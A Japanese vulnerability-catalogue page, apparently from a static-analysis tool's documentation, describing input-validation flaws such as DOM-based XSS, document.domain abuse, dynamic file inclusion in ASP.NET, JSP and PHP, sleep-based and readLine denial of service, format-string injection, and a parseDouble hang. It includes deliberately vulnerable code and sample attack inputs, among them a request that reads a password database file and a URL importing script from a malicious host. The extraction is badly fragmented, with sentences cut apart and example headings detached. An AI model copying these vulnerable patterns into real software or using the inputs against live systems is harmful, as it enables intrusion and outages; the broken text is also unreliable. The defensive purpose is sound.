入力の検証や表現の問題は、メタキャラクター、代替エンコーディング、数値表現などによって引き起こされます。セキュリティの問題は、入力を信頼することに起因します。この問題に含まれるのは、「Buffer Overflow」、「Cross-Site Scripting」攻撃、「SQL Injection」などです。
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid
のテキスト入力からの従業員 ID に標準の英数字テキストのみが含まれる場合に正しく動作します。eid
にメタ文字またはソース コードが含まれている場合、ユーザーがボタンをクリックすると、このコードがブラウザーの DOM に追加されて実行できるようになります。攻撃者がユーザーに悪意ある入力をテキスト入力に入れるように仕向けることができれば、これは DOM ベースの XSS になります。document.domain
など、スクリプトを実行できるページの生成元を決定する設定に渡されます。document.domain
を同じように設定し、まったく同じドメインにいるかのようにページ上でスクリプトを実行する可能性があります。domain
を受け取り、それをページの同一生成元ポリシー (SOP) のドメインとして渡します。
<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>
document.domain
に渡されるため、ページが「http://www.example.com」にある場合、document.domain
は「www.example.com」または「example.com」に設定できます。「com」または「example.org」に設定することはできません。
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
では、攻撃者は悪意ある値を includedURL
に指定することによって、動的な include ステートメントを完全に制御できます。その結果、プログラムは外部サイトからのファイルをインクルードしてしまいます。web.config
などの平文のファイルである場合には、そのファイルは HTML 出力の一部としてレンダリングされる可能性があります。より深刻なケースでは、攻撃者が自身の制御下にあるリモート サイトへのパスを指定できる場合、動的な include ステートメントでは攻撃者が指定した任意の悪意あるコードが実行されることとなります。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
ファイルの内容を JSP ページにレンダリングするため、システムのセキュリティが危険にさらされます。c:import
タグが使用され、ユーザーが指定したリモートファイルが現在の JSP ページにインポートされています。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
オプションがデフォルトで有効に設定された状態で頒布されていたため、攻撃者は簡単に内部サーバー変数を上書きできました。register_globals
オプションを無効にすることによってプログラムが File Inclusion の脆弱性にさらされる危険性は制限できますが、この問題は最近の PHP アプリケーションでも発生しています。 $server_root
と定義されているアプリケーションの下にファイルをインクルードしています。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
が on
に設定されている場合、攻撃者はリクエストパラメーターとして $server_root
を指定することによって $server_root
の値を上書きできるため、動的な include ステートメントを部分的に制御できるようになります。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
では、攻撃者は悪意ある値を headername
に指定することによって、動的な include ステートメントを完全に制御できます。その結果、プログラムは外部サイトからのファイルをインクルードしてしまいます。/etc/shadow
などの平文のファイルである場合には、そのファイルは HTML 出力の一部としてレンダリングされる可能性があります。より深刻なケースでは、攻撃者が自身の制御下にあるリモート サイトへのパスを指定できる場合、動的な include ステートメントでは攻撃者が指定した任意の悪意あるコードが実行されることとなります。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
HttpRequest.Files
、HttpRequest.Form
、HttpRequest.Cookies
、HttpRequest.QueryString
、HttpRequest.Headers
、HttpRequest.ServerVariables
など) のサイズを 1000 に制限します。このサイズは、設定ファイルの aspnet:MaxHttpCollectionKeys
設定を使用して拡大または縮小できます。ただし、サイズを大きくすると、DoS 攻撃を受ける可能性が高まります。aspnet:MaxHttpCollectionKeys
が 2147483647
に設定されています。
...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
関数の実行時間を指定できます。大きな数値を指定すると、攻撃者が Future
関数を無期限に拘束する可能性があります。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
例 2: 以下のコードでは、文字列を zip ファイルから読み取ります。このコードでは、
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
メソッドが使用されているため、読み取られる入力データのサイズに境界が設定されないことになります。攻撃者は、このコードを利用して、OutOfMemoryException
を発生させることが可能です。また、大量のメモリを消費させて、プログラムがガベージ コレクションに多くの時間を消費させるようにしたり、後続の操作でメモリ不足を発生させたりすることが可能です。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
例 2: 次のコードは、ファイルに書き込みを行っています。このファイルは、ユーザー エージェントによって閉じられたと判断されるまで継続的に書き込みと再書き込みが実行されることがあるため、ファイルの内容を分析するのに必要なディスク クオータ、IO 帯域幅、およびプロセスが影響を受ける場合があります。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
例 2: The following code reads a String from a file.このコードでは、
Kernel.sleep(user_input)
readline()
メソッドが制限を指定せずに使用されているため、無制限の入力が読み取られます。攻撃者はこのコードを利用し、メモリを大量に使用してプロセスをハングアップさせることができます。最終的にメモリをすべて使い果たすことがあります。
fd = File.new(myFile)
line = fd.readline
Formatter.format()
で Format String 引数を指定できます。
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
などの例外がスローされる可能性があります。これは try ブロック内で発生した例外ではないため、アプリケーション障害につながる可能性があります。 accountNo
が、出力結果の文字列に含まれることになります。java.lang.Double.parseDouble()
の実装および関連するメソッドには脆弱性があり、[2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
の範囲にある任意の数をパースするときに、スレッドをハングさせる可能性のある関連メソッドがあります。この不具合は、サービス拒否 (DoS) 攻撃の実行に使用される可能性があります。
Double d = Double.parseDouble(request.getParameter("d"));
d
が、"0.0222507385850720119e-00306"
などの範囲にある値となっているリクエストを送信して、プログラムがリクエストを処理するときに、ハングさせる可能性があります。